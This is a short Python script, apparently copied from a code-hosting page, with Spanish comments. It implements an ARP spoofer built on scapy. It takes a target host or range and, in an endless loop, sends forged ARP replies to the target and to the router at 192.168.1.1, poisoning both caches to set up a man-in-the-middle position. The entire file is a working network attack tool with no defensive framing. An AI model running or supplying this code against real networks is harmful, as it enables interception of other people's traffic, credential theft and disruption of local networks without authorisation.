64 lines
1.2 KiB
Python
64 lines
1.2 KiB
Python
#!/usr/bin/env python3
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"""
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ARP Spoofer
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"""
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import argparse
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import signal
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import time
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import scapy.all as scapy
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def def_handler(sig, frame):
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print("\n\n[!] Saliendo del programa...\n")
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exit(1)
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signal.signal(signal.SIGINT, def_handler)
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def get_arguments():
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"""
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Obtiene los argumentos de la línea de comandos
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"""
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parser = argparse.ArgumentParser(description='ARP Spoofer')
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parser.add_argument(
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'-t', '--target',
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required=True, dest='ip_address',
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help='Host / IP range to spoof. ex: 192.168.1.1 or 192.168.1.0/24')
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return parser.parse_args()
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def spoof(ip_address, spoof_ip):
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"""
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Spoofea la dirección IP
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"""
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# Construcción del paquete ARP
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arp_packet = scapy.ARP(
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op=2, pdst=ip_address, psrc=spoof_ip, hwdst="00:07:0e:11:22:33"
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)
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# Enviar el paquete
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scapy.send(arp_packet, verbose=False)
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def main():
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"""
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Función principal
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"""
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arguments = get_arguments()
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while True:
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spoof(arguments.ip_address, "192.168.1.1") # Mensaje al target
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spoof("192.168.1.1", arguments.ip_address) # Mensaje al router
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time.sleep(2)
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if __name__ == "__main__":
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main()
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